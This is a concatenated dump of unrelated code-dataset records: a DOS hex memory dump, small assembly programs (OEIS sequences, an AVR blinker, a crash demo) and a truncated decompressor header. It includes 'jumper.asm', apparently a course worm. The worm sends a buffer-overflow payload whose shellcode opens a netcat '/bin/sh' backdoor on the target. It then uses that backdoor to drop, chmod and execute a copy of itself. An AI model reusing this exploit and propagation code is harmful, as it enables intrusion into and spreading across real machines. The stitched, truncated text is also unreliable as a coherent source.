268D:0F00 7F 04 0A 7D 11 26 C7 47 04 0A 00 C4 5E 06 26 8B ...}.&.G....^.&. 268D:0F10 07 F7 D8 26 89 07 C4 5E 06 26 8B 47 02 26 C4 5F ...&...^.&.G.&._ 268D:0F20 04 26 01 47 06 26 83 7F 06 7A 7E 08 26 C7 47 06 .&.G.&...z~.&.G. 268D:0F30 7A 00 EB 14 C4 5E 06 26 C4 5F 04 26 83 7F 06 0A z....^.&._.&.... 268D:0F40 7D 13 26 C7 47 06 0A 00 C4 5E 06 26 8B 47 02 F7 }.&.G....^.&.G.. 268D:0F50 D8 26 89 47 02 C4 5E 06 26 FF 47 08 26 83 7F 08 .&.G..^.&.G.&... 268D:0F60 07 7E 06 26 C7 47 08 00 00 C4 5E 06 26 8B 47 08 .~.&.G....^.&.G. 268D:0F70 69 C0 14 03 8B 16 8E AA 8B 1E 8C AA 03 D8 8B 76 i..............v 268D:0F80 06 26 C4 74 04 26 89 54 10 26 89 5C 0E C4 5E 06 .&.t.&.T.&.\..^. 268D:0F90 26 83 7F 0C 00 74 04 26 FF 4F 0C C4 5E 06 26 83 &....t.&.O..^.&. 268D:0FA0 7F 0C 00 75 0E 26 8B 47 08 26 3B 47 0A 75 04 33 ...u.&.G.&;G.u.3 268D:0FB0 C0 EB 03 B8 01 00 5E 5D CB C8 04 01 00 B8 BA 28 ......^].......( 268D:0FC0 8E C0 66 26 83 3E 7E A1 00 75 4C 6A 00 1E 68 0C ..f&.>~..uLj..h. 268D:0FD0 96 9A D2 08 9F 20 83 C4 06 1E 68 15 96 16 8D 86 ..... ....h..... 268D:0FE0 FC FE 50 9A E6 3D 00 08 83 C4 08 66 68 04 00 03 ..P..=.....fh... 268D:0FF0 00 6A 04 16 8D 86 FC FE 50 66 68 30 01 6D 00 9A .j......Pfh0.m.. 268D:1000 4D 09 04 25 83 C4 0E B8 BA 28 8E C0 26 80 3E 22 M..%.....(..&.>" 268D:1010 A4 01 74 F3 E9 D0 06 B8 BA 28 8E C0 66 26 FF 36 ..t......(..f&.6 268D:1020 82 A8 9A 0A 00 44 17 83 C4 04 89 16 86 AA A3 84 .....D.......... 268D:1030 AA 66 68 1C 00 1C 00 66 68 01 00 24 00 66 68 14 .fh....fh..$.fh. 268D:1040 00 1E 00 66 68 48 00 0F 00 9A 72 09 44 17 83 C4 ...fhH....r.D... 268D:1050 10 89 16 9A AA A3 98 AA 66 A1 98 AA 66 A3 82 94 ........f...f... 268D:1060 66 68 1C 00 1C 00 66 68 02 00 24 00 66 68 14 00 fh....fh..$.fh.. 268D:1070 1D 00 66 68 61 00 19 00 9A 72 09 44 17 83 C4 10 ..fha....r.D.... 268D:1080 89 16 9E AA A3 9C AA 66 A1 9C AA 66 A3 90 94 66 .......f...f...f 268D:1090 68 1C 00 1C 00 66 68 04 00 24 00 66 68 14 00 1B h....fh..$.fh... 268D:10A0 00 66 68 55 00 14 00 9A 72 09 44 17 83 C4 10 89 .fhU....r.D..... 268D:10B0 16 A2 AA A3 A0 AA 66 A1 A0 AA 66 A3 9E 94 66 68 ......f...f...fh 268D:10C0 1C 00 1C 00 66 68 08 00 24 00 66 68 14 00 17 00 ....fh..$.fh.... 268D:10D0 66 68 72 00 23 00 9A 72 09 44 17 83 C4 10 89 16 fhr.#..r.D...... 268D:10E0 A6 AA A3 A4 AA 66 A1 A4 AA 66 A3 AC 94 66 68 1C .....f...f...fh. 268D:10F0 00 1C 00 66 68 10 00 24 00 66 68 14 00 0F 00 66 ...fh..$.fh....f 268D:1100 68 64 00 32 00 9A 72 09 44 17 83 C4 10 89 16 AA hd.2..r.D....... 268D:1110 AA A3 A8 AA 66 A1 A8 AA 66 A3 BA 94 66 C7 46 F0 ....f...f...f.F. 268D:1120 10 27 00 00 8D 46 CA 16 50 1E 68 DD 94 B9 20 00 .'...F..P.h... . 268D:1130 9A F4 03 00 08 8D 46 CA 8C 16 1B 95 A3 19 95 8D ......F......... 268D:1140 46 AA 16 50 1E 68 FD 94 B9 20 00 9A F4 03 00 08 F..P.h... ...... 268D:1150 8D 46 AA 8C 16 3B 95 A3 39 95 8D 46 8A 16 50 1E .F...;..9..F..P. 268D:1160 68 1D 95 B9 20 00 9A F4 03 00 08 8D 46 8A 8C 16 h... .......F... 268D:1170 5B 95 A3 59 95 8D 86 6A FF 16 50 1E 68 3D 95 B9 [..Y...j..P.h=.. 268D:1180 20 00 9A F4 03 00 08 8D 86 6A FF 8C 16 7B 95 A3 ........j...{.. 268D:1190 79 95 8D 86 4A FF 16 50 1E 68 5D 95 B9 20 00 9A y...J..P.h].. .. 268D:11A0 F4 03 00 08 8D 86 4A FF 8C 16 9B 95 A3 99 95 8D ......J......... 268D:11B0 86 2A FF 16 50 1E 68 7D 95 B9 20 00 9A F4 03 00 .*..P.h}.. ..... 268D:11C0 08 8D 86 2A FF 8C 16 BB 95 A3 B9 95 8D 86 0A FF ...*............ 268D:11D0 16 50 1E 68 9D 95 B9 20 00 9A F4 03 00 08 FA 9A .P.h... ........ 268D:11E0 E8 01 25 24 FB B8 BA 28 8E C0 66 26 C7 06 2C 30 ..%$...(..f&..,0 268D:11F0 00 00 00 00 16 8D 46 F0 50 1E 68 2A 96 1E 68 94 ......F.P.h*..h. 268D:1200 AA 1E 68 1F 96 9A 3E 03 3F 26 83 C4 10 16 8D 46 ..h...>.?&.....F 268D:1210 F0 50 1E 68 42 96 1E 68 8C AA 1E 68 39 96 9A 3E .P.hB..h...h9..> 268D:1220 03 3F 26 83 C4 10 16 8D 46 F0 50 1E 68 5C 96 16 .?&.....F.P.h\.. 268D:1230 8D 46 FC 50 1E 68 4F 96 9A 3E 03 3F 26 83 C4 10 .F.P.hO..>.?&... 268D:1240 16 8D 46 F0 50 1E 68 71 96 16 8D 46 F8 50 1E 68 ..F.P.hq...F.P.h 268D:1250 65 96 9A 3E 03 3F 26 83 C4 10 16 8D 46 F0 50 1E e..>.?&.....F.P. 268D:1260 68 86 96 16 8D 46 F4 50 1E 68 7A 96 9A 3E 03 3F h....F.P.hz..>.? 268D:1270 26 83 C4 10 16 8D 46 F0 50 1E 68 9E 96 1E 68 88 &.....F.P.h...h. 268D:1280 AA 1E 68 93 96 9A 3E 03 3F 26 83 C4 10 66 FF 36 ..h...>.?&...f.6 268D:1290 84 AA 66 FF 36 98 AA 9A 5B 00 44 17 83 C4 08 66 ..f.6...[.D....f 268D:12A0 FF 36 84 AA 66 FF 36 9C AA 9A 5B 00 44 17 83 C4 .6..f.6...[.D... 268D:12B0 08 66 FF 36 84 AA 66 FF 36 A0 AA 9A 5B 00 44 17 .f.6..f.6...[.D. 268D:12C0 83 C4 08 66 FF 36 84 AA 66 FF 36 A4 AA 9A 5B 00 ...f.6..f.6...[. 268D:12D0 44 17 83 C4 08 66 FF 36 84 AA 66 FF 36 A8 AA 9A D....f.6..f.6... 268D:12E0 5B 00 44 17 83 C4 08 66 68 5E 01 00 00 9A 38 1D [.D....fh^....8. 268D:12F0 00 08 83 C4 04 89 16 92 AA A3 90 AA 66 83 3E 90 ............f.>. 268D:1300 AA 00 75 0C 1E 68 A6 96 9A B6 04 3F 26 83 C4 04 ..u..h.....?&... 268D:1310 C4 1E 98 AA 66 A1 8C AA 66 26 89 47 0E 66 A1 90 ....f...f&.G.f.. 268D:1320 AA 66 26 89 47 16 C4 1E 9C AA 66 A1 8C AA 66 26 .f&.G.....f...f& 268D:1330 89 47 0E 66 A1 90 AA 66 26 89 47 16 C4 1E A0 AA .G.f...f&.G..... 268D:1340 66 A1 8C AA 66 26 89 47 0E 66 A1 90 AA 66 26 89 f...f&.G.f...f&. 268D:1350 47 16 C4 1E A4 AA 66 A1 8C AA 66 26 89 47 0E 66 G.....f...f&.G.f 268D:1360 A1 90 AA 66 26 89 47 16 C4 1E A8 AA 66 A1 8C AA ...f&.G.....f... 268D:1370 66 26 89 47 0E 66 A1 90 AA 66 26 89 47 16 66 FF f&.G.f...f&.G.f. 268D:1380 36 90 AA C4 1E 98 AA 66 26 FF 77 0E 9A 5A 05 CC 6......f&.w..Z.. 268D:1390 16 83 C4 08 66 FF 36 84 AA 68 25 27 68 EE 03 6A ....f.6..h%'h..j 268D:13A0 00 9A 0E 05 44 17 83 C4 0A 66 FF 36 84 AA 68 25 ....D....f.6..h% 268D:13B0 27 68 EE 03 6A 01 9A 0E 05 44 17 83 C4 0A 66 FF 'h..j....D....f. 268D:13C0 36 84 AA 68 25 27 68 EE 03 6A 02 9A 0E 05 44 17 6..h%'h..j....D. 268D:13D0 83 C4 0A 66 FF 36 84 AA 68 25 27 68 EE 03 6A 03 ...f.6..h%'h..j. 268D:13E0 9A 0E 05 44 17 83 C4 0A 66 FF 36 84 AA 68 25 27 ...D....f.6..h%' 268D:13F0 68 EE 03 6A 04 9A 0E 05 44 17 83 C4 0A 8B 46 F4 h..j....D.....F. 268D:1400 05 02 00 FF 76 F6 50 C4 5E F4 26 8A 47 01 B4 00 ....v.P.^.&.G... 268D:1410 50 26 8A 07 B4 00 50 9A 3B 04 76 24 83 C4 08 66 P&....P.;.v$...f 268D:1420 6A 00 6A 00 16 8D 86 0A FF 50 6A 01 6A 01 6A 01 j.j......Pj.j.j. 268D:1430 6A 00 6A 01 9A 04 00 53 23 83 C4 14 66 68 00 80 j.j....S#...fh.. 268D:1440 00 00 9A 38 1D 00 08 83 C4 04 BB BA 28 8E C3 26 ...8........(..& 268D:1450 89 16 88 A8 26 A3 86 A8 0B C2 75 12 66 68 00 80 ....&.....u.fh.. 268D:1460 00 00 1E 68 C2 96 9A 3F 04 3F 26 83 C4 08 66 68 ...h...?.?&...fh 268D:1470 00 00 00 7D B8 BA 28 8E C0 66 26 FF 36 86 A8 9A ...}..(..f&.6... 268D:1480 15 47 00 08 83 C4 08 68 BA 28 68 EA 26 9A AE 02 .G.....h.(h.&... 268D:1490 10 1D 83 C4 04 FA 9A E8 01 25 24 68 00 FA B8 BA .........%$h.... 268D:14A0 28 8E C0 66 26 FF 36 82 A8 B8 BA 28 8E C0 66 26 (..f&.6....(..f& 268D:14B0 FF 36 80 AA 9A 75 35 00 08 83 C4 0A 9A 86 02 25 .6...u5........% 268D:14C0 24 FB E9 31 01 FA 9A E8 01 25 24 FB B8 BA 28 8E $..1.....%$...(. 268D:14D0 C0 66 26 FF 36 82 A8 66 FF 76 FC 66 68 25 00 6B .f&.6..f.v.fh%.k 268D:14E0 00 9A 00 00 6E 21 83 C4 0C B8 BA 28 8E C0 66 26 ....n!.....(..f& 268D:14F0 FF 36 82 A8 66 FF 76 F8 66 68 0A 00 69 00 9A 00 .6..f.v.fh..i... 268D:1500 00 6E 21 83 C4 0C B8 BA 28 8E C0 66 26 FF 36 82 .n!.....(..f&.6. 268D:1510 A8 9A 39 04 CC 16 83 C4 04 FA 9A 86 02 25 24 FB ..9..........%$. 268D:1520 0E E8 64 F7 0E E8 E8 F4 9A 67 01 31 23 89 56 EE ..d......g.1#.V. 268D:1530 89 46 EC 66 83 7E EC 00 74 EA C4 5E EC 26 8A 07 .F.f.~..t..^.&.. 268D:1540 B4 00 3D 03 00 74 19 3D 05 00 74 07 3D D2 00 74 ..=..t.=..t.=..t 268D:1550 5F EB 3D 66 6A 00 6A 05 9A BA 00 31 23 83 C4 06 _.=fj.j....1#... 268D:1560 C6 46 EB 00 EB 1D 8A 46 EB 98 8B D8 8A 87 AC AA .F.....F........ 268D:1570 98 66 0F BF C0 BA BA 28 8E C2 66 26 01 06 7E A1 .f.....(..f&..~. 268D:1580 FE 46 EB 80 7E EB 06 7C DD 9A 7F 05 6D 22 EB 77 .F..~..|....m".w 268D:1590 C4 5E EC 26 80 3F C7 76 8B 26 80 3F CE 73 85 26 .^.&.?.v.&.?.s.& 268D:15A0 8A 07 B4 00 05 38 FF 50 0E E8 74 F6 59 E9 74 FF .....8.P..t.Y.t. 268D:15B0 0E E8 88 F4 0E E8 F0 F6 B8 BA 28 8E C0 26 C7 06 ..........(..&.. 268D:15C0 84 A1 1E 00 B8 BA 28 8E C0 26 83 3E 84 A1 00 7F ......(..&.>.... 268D:15D0 F3 66 FF 36 84 AA 9A B2 02 CC 16 83 C4 04 B8 BA .f.6............ 268D:15E0 28 8E C0 66 26 FF 36 82 A8 9A 39 04 CC 16 83 C4 (..f&.6...9..... 268D:15F0 04 C6 06 C4 94 00 B8 BA 28 8E C0 66 26 83 3E 7E ........(..f&.>~ 268D:1600 A1 00 74 03 E9 BE FE FA 9A E8 01 25 24 B8 BA 28 ..t........%$..( 268D:1610 8E C0 66 26 C7 06 2C 30 00 00 00 00 FB 66 FF 36 ..f&..,0.....f.6 268D:1620 88 AA 9A 24 1C 00 08 83 C4 04 66 FF 76 F4 9A 24 ...$......f.v..$ 268D:1630 1C 00 08 83 C4 04 66 FF 76 FC 9A 24 1C 00 08 83 ......f.v..$.... 268D:1640 C4 04 66 FF 36 94 AA 9A 24 1C 00 08 83 C4 04 66 ..f.6...$......f 268D:1650 FF 36 8C AA 9A 24 1C 00 08 83 C4 04 66 FF 76 F8 .6...$......f.v. 268D:1660 9A 24 1C 00 08 83 C4 04 C4 1E 84 AA 66 26 FF 77 .$..........f&.w 268D:1670 08 9A 24 1C 00 08 83 C4 04 66 FF 36 84 AA 9A 24 ..$......f.6...$ 268D:1680 1C 00 08 83 C4 04 66 FF 36 90 AA 9A 24 1C 00 08 ......f.6...$... 268D:1690 83 C4 04 66 FF 36 98 AA 9A 6F 0A 44 17 83 C4 04 ...f.6...o.D.... 268D:16A0 66 FF 36 9C AA 9A 6F 0A 44 17 83 C4 04 66 FF 36 f.6...o.D....f.6 268D:16B0 A0 AA 9A 6F 0A 44 17 83 C4 04 66 FF 36 A4 AA 9A ...o.D....f.6... 268D:16C0 6F 0A 44 17 83 C4 04 66 FF 36 A8 AA 9A 6F 0A 44 o.D....f.6...o.D 268D:16D0 17 83 C4 04 B8 BA 28 8E C0 66 26 FF 36 86 A8 9A ......(..f&.6...
74.437788
74
0.570606
4c48a3a9cc5ef8a407284eb69f772dbcdb3cec6b
3,545
asm
Assembly
virus/jumper.asm
roguematter/malware-csg513
959ecdfad5efc8c95fd7143ef243fc07366f29e8
[ "CC0-1.0" ]
null
null
null
virus/jumper.asm
roguematter/malware-csg513
959ecdfad5efc8c95fd7143ef243fc07366f29e8
[ "CC0-1.0" ]
null
null
null
virus/jumper.asm
roguematter/malware-csg513
959ecdfad5efc8c95fd7143ef243fc07366f29e8
[ "CC0-1.0" ]
null
null
null
;stack model ; ;==================================================================================== ;| stack is same as that of freshly opened host >> top: argc, argv[0], argv[1], ... | ;==================================================================================== ; ;%esi = socket(af_inet,sock_stream,tcp) push dword 6 push dword 1 push dword 2 call _socket mov esi,eax ;connect(%esi,&{af_inet,10.0.1.16:43468,zero},16) push dword 0 push dword 0 push 0x1001000a push word 0xcca9 push word 2 mov edi,esp push dword 16 push edi push esi call _connect ;create space on stack for exploit sub esp,512 mov ecx,esp ;copy 114 bytes of NOP mov edx,114 __copypad: cmp edx,0 je __exitcopypad mov byte[ecx],0x90 inc ecx dec edx jmp __copypad ;copy 114 bytes of exploit __exitcopypad: mov edx,114 jmp __EXP__ X__EXP__: pop edi __copyexploit: cmp edx,0 je __exitcopyexploit mov bl,byte[edi] mov byte[ecx],bl inc ecx inc edi dec edx jmp __copyexploit ;copy 32 bytes of address __exitcopyexploit: mov edx,8 __copyretaddr: cmp edx,0 je __exitcopyretaddr mov dword [ecx],0xbffff9b9 add ecx,4 dec edx jmp __copyretaddr ;pad with 4 bytes of NULLs __exitcopyretaddr: mov dword [ecx],0 ;writing the exploit to socket ;write(%esi,%esp,512) mov eax,4 mov ebx,esi mov ecx,esp mov edx,512 int 0x80 ;clearing stack add esp,512 ;close(%esi) mov eax,6 int 0x80 ;server pwned ;backdoor setup on remote machine ;sleep(5) push dword 0 push dword 5 mov eax,162 mov ebx,esp mov ecx,0 int 0x80 pop ecx pop ecx ;%esi=socket(af_inet,sock_stream,tcp) push dword 6 push dword 1 push dword 2 call _socket mov esi,eax ;connect(%esi,&{af_inet,10.0.1.16:43469,zero},16) push dword 0 push dword 0 push 0x1001000a push word 0xcda9 push word 2 mov edi,esp push dword 16 push edi push esi call _connect ;connected to backdoor ;create pipe to file mov eax,4 mov ebx,esi jmp __CMD__ X__CMD__: pop ecx mov edx,48 int 0x80 ;%edi=open(host,"r") pop ebx pop ebx mov eax,5 mov ecx,0 mov edx,0 int 0x80 mov edi,eax ;creating space on stack for buf sub esp,512 mov edx,512 __xferself: ;sleep(2) push dword 0 push dword 2 mov eax,162 mov ebx,esp mov ecx,0 int 0x80 add esp,8 ;read from host ;read(%edi,%esp,512) mov ecx,esp mov eax,3 mov ebx,edi int 0x80 cmp eax,512 jl __xferlastsector ;write to socket ;write(%esi,%esp,%edx) mov eax,4 mov ebx,esi int 0x80 jmp __xferself __xferlastsector: mov edx,eax mov ebx,esi mov eax,4 int 0x80 add esp,512 ;close(%edi) mov ebx,edi mov eax,6 int 0x80 ;sleep(2) mov eax,162 push dword 0 push dword 2 mov ebx,esp mov ecx,0 int 0x80 add esp,8 ;close(%esi) mov ebx,esi mov eax,6 int 0x80 jmp __exit_jumper ;strings __EXP__: call X__EXP__ db 0x90,0x31,0xc0,0xb0,0x0b,0x31,0xd2,0x52,0xeb,0x5b db 0x8b,0x1c,0x24,0x88,0x53,0x07,0xeb,0x4b,0x8b,0x1c,0x24 db 0x88,0x53,0x02,0xeb,0x38,0x8b,0x1c,0x24,0x88,0x53,0x05 db 0xeb,0x27,0x8b,0x1c,0x24,0x88,0x53,0x03,0xeb,0x0a,0x8b db 0x1c,0x24,0x88,0x53,0x0f,0x89,0xe1,0xcd,0x80,0xe8,0xf1 db 0xff,0xff,0xff,0x2f,0x75,0x73,0x72,0x2f,0x62,0x69,0x6e db 0x2f,0x6e,0x65,0x74,0x63,0x61,0x74,0x01,0xe8,0xd4,0xff db 0xff,0xff,0x2d,0x6c,0x70,0x01,0xe8,0xc3,0xff,0xff,0xff db 0x34,0x33,0x34,0x36,0x39,0x01,0xe8,0xb0,0xff,0xff,0xff db 0x2d,0x65,0x01,0xe8,0xa0,0xff,0xff,0xff,0x2f,0x62,0x69 db 0x6e,0x2f,0x73,0x68,0x01 __CMD__: call X__CMD__ db "touch .e3; chmod a+x .e3; cat > .e3; exec ./.e3",10 __exit_jumper: nop
16.187215
87
0.678138
4f0b51f7861cae215f9427c96595b698f0c2e27e
1,094
asm
Assembly
x86-64/programs/intentionalpain.asm
ShineyDev/assembly
90eb976c87372bb98126554c183d4c7130baa920
[ "Apache-2.0" ]
1
2020-06-22T11:37:37.000Z
2020-06-22T11:37:37.000Z
x86-64/programs/intentionalpain.asm
ShineyDev/assembly
90eb976c87372bb98126554c183d4c7130baa920
[ "Apache-2.0" ]
1
2020-07-05T19:35:35.000Z
2020-07-05T19:35:35.000Z
x86-64/programs/intentionalpain.asm
ShineyDev/assembly
90eb976c87372bb98126554c183d4c7130baa920
[ "Apache-2.0" ]
2
2020-07-01T19:26:46.000Z
2020-07-05T03:33:16.000Z
; --------------------------------------------------------------------- ; /x86-64/programs/intentionalpain.asm ; ; An x86-64 assembly which randomly selects between a write to STDOUT ; or a SIGSEGV. ; ; @kaylynn234 ; ; Requires: ; random ; write ; --------------------------------------------------------------------- global _start extern random extern write section .text _start: call random mov r12, rax and r12, 0b1 ; use the first bit -> 50% jnz _start_good _start_bad: mov rdi, 2 ; write to STDERR just to be a nuisance mov rsi, bad_msg mov rdx, bad_msg_l call write hlt ; we are not a kernel -> fast SIGSEGV :) _start_good: mov rdi, 1 mov rsi, good_msg mov rdx, good_msg_l call write mov rax, 60 xor rdi, rdi syscall section .data bad_msg: db "Uh-oh!", 0x0A bad_msg_l: equ $-bad_msg good_msg: db "Have a nice day!", 0x0A good_msg_l: equ $-good_msg
21.038462
79
0.478976
dc15c0d86927d19e2e828bff1a1c398e253ef7eb
657
asm
Assembly
oeis/108/A108546.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/108/A108546.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/108/A108546.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A108546: Lexicographically earliest permutation of primes such that for n>1 forms 4*k+1 and 4*k+3 alternate. ; Submitted by Jon Maiga ; 2,3,5,7,13,11,17,19,29,23,37,31,41,43,53,47,61,59,73,67,89,71,97,79,101,83,109,103,113,107,137,127,149,131,157,139,173,151,181,163,193,167,197,179,229,191,233,199,241,211,257,223,269,227,277,239,281,251,293,263,313,271,317,283,337,307,349,311,353,331,373,347,389,359,397,367,401,379,409,383,421,419,433,431,449,439,457,443,461,463,509,467,521,479,541,487,557,491,569,499 mov $2,$0 trn $0,1 seq $0,111745 ; a(2k-1) = k-th prime congruent to 3 mod 4, a(2k) = k-th prime congruent to 1 mod 4. min $2,1 add $0,$2 sub $0,1
59.727273
372
0.710807
7841e9fd62a115bb8e0618fc017324505c346d83
1,643
asm
Assembly
AVR/digital_ports.asm
StxGuy/EmbeddedSystems
6d9bc8b295724d361ea1d82e701e6530f74e2300
[ "MIT" ]
null
null
null
AVR/digital_ports.asm
StxGuy/EmbeddedSystems
6d9bc8b295724d361ea1d82e701e6530f74e2300
[ "MIT" ]
null
null
null
AVR/digital_ports.asm
StxGuy/EmbeddedSystems
6d9bc8b295724d361ea1d82e701e6530f74e2300
[ "MIT" ]
null
null
null
;-------------------------------------; ; GPIO FOR ATMEL328p ; ; ; ; Por: Prof. Carlo Requiao ; ; 13/Octp/2021 ; ;-------------------------------------; .device ATmega328p ;-------------------------------------; ; MACROS ; ;-------------------------------------; .macro initstack ldi R16,low(RAMEND) out spl,R16 ldi R16,high(RAMEND) out sph,R16 .endmacro ;-------------------------------------; ; DEFINITIONS ; ;-------------------------------------; .def geral1=R18 .def geral2=R19 ;-------------------------------------; ; MEMORY SEGMENTS ; ;-------------------------------------; .dseg .cseg .org 0x00 ; Program starts at 0x00 rjmp INICIO ;-------------------------------------; ; CODE ; ;-------------------------------------; INICIO: initstack in R16,MCUCR ori R16,(1<<PUD) out MCUCR,R16 ; Disable pull-up sbi DDRB,5 ; On-board LED is output LOOP: sbi PORTB,5 ; Turn LED on call delay ; Wait cbi PORTB,5 ; Turn LED off call delay jmp LOOP ;-------------------------------------; ; FUNCTIONS ; ;-------------------------------------; DELAY: ldi R16,0x80 DELAY3: ldi R17,0xFF DELAY2: ldi R18,0xFF DELAY1: nop dec R18 brne DELAY1 nop dec R17 brne DELAY2 nop dec R16 brne DELAY3 ret
21.906667
56
0.311625
605100cc23777021e09abb8419ae558e4b8a1380
1,432
asm
Assembly
programs/oeis/181/A181385.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/181/A181385.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/181/A181385.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A181385: Maximal number that can be obtained by reversing n in an integer base. ; 0,1,2,3,4,7,9,13,16,21,25,31,36,43,49,57,64,73,81,91,100,111,121,133,144,157,169,183,196,211,225,241,256,273,289,307,324,343,361,381,400,421,441,463,484,507,529,553,576,601,625,651,676,703,729,757,784,813,841,871,900,931,961,993,1024,1057,1089,1123,1156,1191,1225,1261,1296,1333,1369,1407,1444,1483,1521,1561,1600,1641,1681,1723,1764,1807,1849,1893,1936,1981,2025,2071,2116,2163,2209,2257,2304,2353,2401,2451,2500,2551,2601,2653,2704,2757,2809,2863,2916,2971,3025,3081,3136,3193,3249,3307,3364,3423,3481,3541,3600,3661,3721,3783,3844,3907,3969,4033,4096,4161,4225,4291,4356,4423,4489,4557,4624,4693,4761,4831,4900,4971,5041,5113,5184,5257,5329,5403,5476,5551,5625,5701,5776,5853,5929,6007,6084,6163,6241,6321,6400,6481,6561,6643,6724,6807,6889,6973,7056,7141,7225,7311,7396,7483,7569,7657,7744,7833,7921,8011,8100,8191,8281,8373,8464,8557,8649,8743,8836,8931,9025,9121,9216,9313,9409,9507,9604,9703,9801,9901,10000,10101,10201,10303,10404,10507,10609,10713,10816,10921,11025,11131,11236,11343,11449,11557,11664,11773,11881,11991,12100,12211,12321,12433,12544,12657,12769,12883,12996,13111,13225,13341,13456,13573,13689,13807,13924,14043,14161,14281,14400,14521,14641,14763,14884,15007,15129,15253,15376,15501 mov $3,$0 mov $4,$0 pow $0,0 add $0,2 div $0,2 sub $4,2 pow $4,2 sub $4,$0 mov $1,$4 mov $2,4 lpb $0 sub $0,1 div $1,$2 lpe add $1,$3
75.368421
1,210
0.764665
58e8f8e619dfc9c98749f5b1ae167de2a1553132
701
asm
Assembly
programs/oeis/160/A160467.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/160/A160467.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/160/A160467.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A160467: a(n) = 1 if n is odd; otherwise, a(n) = 2^(k-1) where 2^k is the largest power of 2 that divides n. ; 1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,8,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,16,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,8,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,32,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,8,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,16,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,8,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,64,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,8,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,16,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,8,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,32,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,8,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,16,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,8,1,1,1,2,1,1,1,4,1,1 bin $0,3 add $0,1 mov $1,1 mov $2,$0 lpb $2 mul $1,2 dif $2,2 lpe mov $0,$1
53.923077
508
0.527817
6bc05a3cb5b1729fd8bda9418e783b0d3b40f86e
10,400
asm
Assembly
deexoopt_f3.asm
uniabis/z80depacker
a5dc3a0a7d3cb07a814490463b93fa42b3e66c68
[ "MIT" ]
25
2019-08-16T11:03:39.000Z
2022-03-23T23:22:46.000Z
deexoopt_f3.asm
uniabis/z80depacker
a5dc3a0a7d3cb07a814490463b93fa42b3e66c68
[ "MIT" ]
null
null
null
deexoopt_f3.asm
uniabis/z80depacker
a5dc3a0a7d3cb07a814490463b93fa42b3e66c68
[ "MIT" ]
1
2021-04-04T01:07:24.000Z
2021-04-04T01:07:24.000Z
;Exomizer 3 Z80 decoder ;Copyright (C) 2008-2018 by Jaime Tejedor Gomez (Metalbrain) ; ;Optimized by Antonio Villena and Urusergi ; ;Compression algorithm by Magnus Lind ; exomizer raw -P15 -T0 (literals=1) (reuse=0) ; exomizer raw -P15 -T1 (literals=0) (reuse=0) ; exomizer raw -P47 -T0 (literals=1) (reuse=1) ; exomizer raw -P47 -T1 (literals=0) (reuse=1); ; This depacker is free software; you can redistribute it and/or ; modify it under the terms of the GNU Lesser General Public ; License as published by the Free Software Foundation; either ; version 2.1 of the License, or (at your option) any later version. ; ; This library is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ; Lesser General Public License for more details. ; ; You should have received a copy of the GNU Lesser General Public ; License along with this library; if not, write to the Free Software ; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ; DEFINE PFLAG_BITS_ORDER_BE (1<<0) DEFINE PFLAG_BITS_COPY_GT_7 (1<<1) DEFINE PFLAG_IMPL_1LITERAL (1<<2) DEFINE PFLAG_BITS_ALIGN_START (1<<3) DEFINE PFLAG_4_OFFSET_TABLES (1<<4) DEFINE PFLAG_REUSE_OFFSET (1<<5) ; -P0 (Exomizer2 raw compatible) ;DEFINE PFLAG_CODE 0 ; -P7 (Exomizer3.0 raw default) ;DEFINE PFLAG_CODE (PFLAG_BITS_ORDER_BE | PFLAG_BITS_COPY_GT_7 | PFLAG_IMPL_1LITERAL) ; -P39 (Exomizer3.1 raw default) ;DEFINE PFLAG_CODE (PFLAG_BITS_ORDER_BE | PFLAG_BITS_COPY_GT_7 | PFLAG_IMPL_1LITERAL | PFLAG_REUSE_OFFSET) IFNDEF PFLAG_CODE IFNDEF reuse ; -P15 DEFINE PFLAG_CODE (PFLAG_BITS_ORDER_BE | PFLAG_BITS_COPY_GT_7 | PFLAG_IMPL_1LITERAL | PFLAG_BITS_ALIGN_START) ELSEIF reuse=0 ; -P15 DEFINE PFLAG_CODE (PFLAG_BITS_ORDER_BE | 